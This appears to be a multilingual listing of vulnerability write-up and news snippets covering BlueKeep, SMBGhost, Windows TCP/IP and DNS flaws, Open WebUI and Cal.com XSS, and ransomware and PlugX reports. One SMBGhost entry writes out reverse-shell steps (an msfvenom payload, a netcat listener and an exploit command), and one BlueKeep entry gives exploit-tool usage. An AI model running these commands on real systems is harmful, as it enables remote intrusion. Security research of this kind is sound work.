CVE-2026-57858

CVE-2026-57858 针对 CVE-2026-57858 的可蠕虫化利用...

CVE-2019-0708

Detección masiva de CVE-2019-0708 0x01 Prefacio CVE-2019-0708 Vulnerabilidad de ejecución remota de comandos en Windows RDP El 15 de mayo de 2019 se reveló una vulnerabilidad de alto riesgo en los servidores Windows. El alcance de esta vulnerabilidad es amplio: los sistemas Windows 2003, Windows...

CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP 远程代码执行漏洞研究 全面研究，旨在节省您的时间、精力、理智和理解。我想一开始就说明，这个特定的 CVE 与许多其他 CVE 一样，由于其高严重性评分，在短时间内引起了巨大关注。结果导致大量虚假信息和恶意活动围绕它展开。最初发现该漏洞的研究人员是 Wei。 这包括但不限于基于恶意软件的 PoC，它们被发布到 GitHub，意图伪装成真正的 PoC。 因此，我将在本仓库中仅分享有效、不误导的 PoC，以帮助进一步研究和理解。 顾名思义，此漏洞仅影响 Windows，因此如果您使用其他系统，则此漏洞不直接影响您。...

CVE-2021-31166

CVE-2021-31166 Detection of attempts to exploit CVE-2021-31166 HTTP Protocol Stack vulnerability Suricata rule Zeek Package References https://corelight.blog/2021/05/27/detecting-cve-2021-31166-http-vulnerability/ https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31166...

CVE-2019-0708

CVE-2019-0708 Windows 漏洞利用工具。 用法：C:\CVE-2019-07-08.exe -p 3389 ip 受影响系统： Windows XP 所有版本 Windows 2003 所有版本 Windows 7 SP1 32位和64位 Windows Server 2008 Windows Server 2008 R2 联系方式： 邮箱： [email protected] 网站： http://794911175 http://cia.kim:2 CVE-2019-0708, 蠕虫级关键RDP漏洞, 关键RDP漏洞, CVE-2019-0708 POC,...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 설명 및 취약점 연구 - 초보자를 위한 CENG325 학기 프로젝트 어떻게 익스플로잇할까? 리버스 셸을 위한 페이로드 생성: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python 리스닝 포트: nc -lvnp 5555 익스플로잇 코드 실행: python3 exploit.py -ip TARGETIP PoC 저장소...

CVE-2020-0796

CVE-2020-0796: SMBGhost - विश्लेषण और नैतिक शोषण परिचय CVE-2020-0796, जिसे "SMBGhost" के नाम से भी जाना जाता है, माइक्रोसॉफ्ट विंडोज ऑपरेटिंग सिस्टम को प्रभावित करने वाली एक गंभीर सुरक्षा भेद्यता है। यह "वर्मेबल" श्रेणी में आती है, जिसका अर्थ है कि यह नेटवर्क सिस्टमों में तेजी से फैल सकती है। यह...

dRMM-CVE-2020-1350-response

Panoramica Microsoft ha annunciato CVE-2020-1350 il 14 luglio 2020. Questa vulnerabilità nel server DNS di Windows risale al Server 2003 ed è ampiamente considerata propagabile. Questo script segue le istruzioni del KB456509...

CVE-2020-16898

CVE-2020-16898: “Vicino Maligno” Punteggio CVSS: 8.8 Vettore CVSS: CVSS3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C Panoramica Il 13 ottobre, Microsoft ha annunciato una vulnerabilità eccezionalmente critica nello stack IPv6 di Windows, che consente a un aggressore di inviare pacchetti...

CVE-2026-57858

Cal.com Cal.diy versions 2.1.1 through 6.2.0 contain a stored cross-site scripting vulnerability in the BookingPageTagManager component that allows authenticated event owners to inject arbitrary JavaScript by supplying a malicious analytics tracking ID without sanitization. Attackers can close th...

Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

Summary A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's...

Patch Tuesday and the Enduring Challenge of Windows’ Backwards Compatibility

Introduction If you received an email with the subject “I LOVE YOU” and an attachment called “LOVE-LETTER-FOR-YOU.TXT”, would you open it? Probably not, but back in the year 2000, plenty of people did exactly that. The internet learned a hard lesson about the disproportionate power available to a...

PT-2025-28516

Name of the Vulnerable Software and Affected Versions Windows versions affected versions not specified Description A critical vulnerability exists in the Windows SPNEGO Extended Negotiation NEGOEX security mechanism. This flaw is a heap-based buffer overflow that allows an unauthorized attacker t...

CVE-2025-46719 Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to version 0.6.6, a vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be...

BlackByte blends tried-and-true tradecraft with newly disclosed vulnerabilities to support ongoing attacks

The BlackByte ransomware group continues to leverage tactics, techniques and procedures TTPs that have formed the foundation of its tradecraft since its inception, continuously iterating its use of vulnerable drivers to bypass security protections and deploying a self-propagating, wormable...

Exploit for Integer Underflow (Wrap or Wraparound) in Microsoft

CVE-2024-38063 - Windows TCP/IP Remote Code Execution Vulnerab...

French Authorities Launch Operation to Remove PlugX Malware from Infected Systems

French judicial authorities, in collaboration with Europol, have launched a so-called "disinfection operation" to rid compromised hosts of a known malware called PlugX. The Paris Prosecutor's Office, Parquet de Paris, said the initiative was launched on July 18 and that it's expected to continue...

Researchers Discover New PlugX Malware Variant Spreading via Removable USB Devices

Cybersecurity researchers have uncovered a PlugX sample that employs sneaky methods to infect attached removable USB media devices in order to propagate the malware to additional systems. "This PlugX variant is wormable and infects USB devices in such a way that it conceals itself from the Window...

Critical Microsoft Code-Execution Vulnerability

A critical code-execution vulnerability in Microsoft Windows was patched in September. It seems that researchers just realized how serious it was and is: Like EternalBlue, CVE-2022-37958, as the latest vulnerability is tracked, allows attackers to execute malicious code with no authentication...

4 over-hyped security vulnerabilities of 2022

A critical vulnerability can send countless organizations into chaos, as security teams read up on the vulnerability, try to figure out whether it applies to their systems, download any potential patches, and deploy those fixes to affected machines. But a lot can go wrong when a vulnerability is...